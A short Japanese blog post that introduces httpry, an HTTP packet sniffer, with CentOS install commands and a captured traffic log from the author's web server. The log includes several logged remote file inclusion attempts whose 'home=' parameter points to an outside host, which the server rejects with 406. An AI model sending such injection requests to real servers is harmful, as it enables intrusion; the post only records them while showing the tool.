SANS ISCで「Web Traffic Analysis with httpry」というエントリで紹介されているツールが興味深かったのでメモ。ここで出てくるhttpryというツールはHTTPに関する通信をパケットキャプチャして、ファイルに保存したり、リアルタイムで眺めたりできるツールです。基本的にはtcpdumpのようなツールですが、HTTPの部分だけ選択的に取得できるので、HTTPだけパケットキャプチャしたい場合には便利そうです。
httpry
httpry is a specialized packet sniffer designed for displaying and logging HTTP traffic. It is not intended to perform analysis itself, but to capture, parse, and log the traffic for later analysis. It can be run in real-time displaying the traffic as it is parsed, or as a daemon process that logs to an output file. It is written to be as lightweight and flexible as possible, so that it can be easily adaptable to different applications.
CentOSにインストールしたい場合にはlibpcap libpcap-develをインストールしておく必要があるようです。
# yum install libpcap libpcap-devel# make# make install
こんな感じでキャプチャした情報を表示することができます。
ちなみに表示する内容については-fオプションでカスタマイズ出来ます。
# httpry -i eth0httpry version 0.1.5 -- HTTP logging and information retrieval toolCopyright (c) 2005-2009 Jason Bittel <jason.bittel@gmail.com>Starting capture on eth0 interface2010-08-01 21:37:46 72.14.203.167 219.94.197.99 < - - - HTTP/1.0 200 OK2010-08-01 21:37:46 219.94.197.99 66.249.69.49 < - - - HTTP/1.1 200 OK2010-08-01 21:37:53 207.46.12.236 219.94.197.99 > GET blog.cles.jp /category/32/archive/2009-09-12 HTTP/1.1 - -2010-08-01 21:37:53 219.94.197.99 207.46.12.236 < - - - HTTP/1.1 200 OK2010-08-01 21:37:53 222.236.47.182 219.94.197.99 > GET blog.cles.jp /archive//path/books/mybooks.php?home=http://phamsight.com/docs/images/head?? HTTP/1.1 - -2010-08-01 21:37:53 219.94.197.99 222.236.47.182 < - - - HTTP/1.1 406 Not Acceptable2010-08-01 21:37:53 222.236.47.182 219.94.197.99 > GET blog.cles.jp /archive/1/2006-07/page//path/books/mybooks.php?home=http://phamsight.com/docs/images/head?? HTTP/1.1 - -2010-08-01 21:37:53 219.94.197.99 222.236.47.182 < - - - HTTP/1.1 406 Not Acceptable2010-08-01 21:37:53 222.236.47.182 219.94.197.99 > GET blog.cles.jp //path/books/mybooks.php?home=http://phamsight.com/docs/images/head?? HTTP/1.1 - -2010-08-01 21:37:53 219.94.197.99 222.236.47.182 < - - - HTTP/1.1 406 Not Acceptable2010-08-01 21:37:53 222.236.47.182 219.94.197.99 > GET blog.cles.jp /archive/1/2006-07//path/books/mybooks.php?home=http://phamsight.com/docs/images/head?? HTTP/1.1 - -2010-08-01 21:37:53 219.94.197.99 222.236.47.182 < - - - HTTP/1.1 406 Not Acceptable2010-08-01 21:37:53 222.236.47.182 219.94.197.99 > GET blog.cles.jp /archive/1/2006-07/page/4%20%20//path/books/mybooks.php?home=http://phamsight.com/docs/images/head?? HTTP/1.1 - -2010-08-01 21:37:53 219.94.197.99 222.236.47.182 < - - - HTTP/1.1 406 Not Acceptable2010-08-01 21:37:53 222.236.47.182 219.94.197.99 > GET blog.cles.jp /archive/1//path/books/mybooks.php?home=http://phamsight.com/docs/images/head?? HTTP/1.1 - -2010-08-01 21:37:53 219.94.197.99 222.236.47.182 < - - - HTTP/1.1 406 Not Acceptable2010-08-01 21:37:55 207.46.12.236 219.94.197.99 > GET blog.cles.jp /archive/1/2006-1-14 HTTP/1.1 - -2010-08-01 21:37:55 122.133.97.133 219.94.197.99 > GET blog.cles.jp /favicon.ico HTTP/1.1 - -2010-08-01 21:37:55 219.94.197.99 122.133.97.133 < - - - HTTP/1.1 200 OK2010-08-01 21:37:55 219.94.197.99 207.46.12.236 < - - - HTTP/1.1 200 OKCaught SIGINT, shutting down...134 packets received, 0 packets dropped, 20 http packets parsed423.2 packets/min, 75.8 http packets/min
偶然ですが、ちょうどおかしなトラフィック(多分、リモートコードインジェクション)に対して、サーバが406 Not Acceptableを返している様子が見えますね。
このようにhttpサーバの設定の確認なんかには便利に使えそうです。